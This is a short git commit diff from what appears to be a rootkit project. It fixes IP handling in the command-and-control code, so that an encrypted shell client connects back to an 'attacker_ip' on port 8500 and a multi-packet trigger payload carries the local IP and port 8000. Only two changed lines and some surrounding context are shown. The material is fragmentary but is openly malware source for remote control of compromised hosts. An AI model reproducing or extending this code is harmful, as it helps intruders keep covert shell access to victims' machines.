Solved an error in client ip config

This commit is contained in:
h3xduck
2022-05-15 18:08:14 -04:00
parent ce3b267d01
commit 6e76e1ed1a
6 changed files with 2 additions and 2 deletions

Binary file not shown.

Binary file not shown.

View File

@@ -566,7 +566,7 @@ void activate_command_control_shell_encrypted_multi_packet(char* argv, int mode)
for(int ii=0; ii<PAYLOAD_LEN; ii++){
payload[ii] = (char)rand();
}
inet_pton(AF_INET, argv, (void*)(payload+0x01));
inet_pton(AF_INET, local_ip, (void*)(payload+0x01));
uint16_t port = htons(8000);
memcpy(payload+0x05, (char*)&port, 0x02);
char result[0x03];

Binary file not shown.

Binary file not shown.

View File

@@ -169,7 +169,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
//TODO EXTRACT IP FROM KERNEL BUFFER
inet_ntop(AF_INET, &e->client_ip, attacker_ip, INET_ADDRSTRLEN);
printf("Starting encrypted connection with ip: %s\n", attacker_ip);
client_run(local_ip, 8500);
client_run(attacker_ip, 8500);
break;
case CC_PROT_COMMAND_HOOK_ACTIVATE_ALL:
printf("Activating all hooks as requested\n");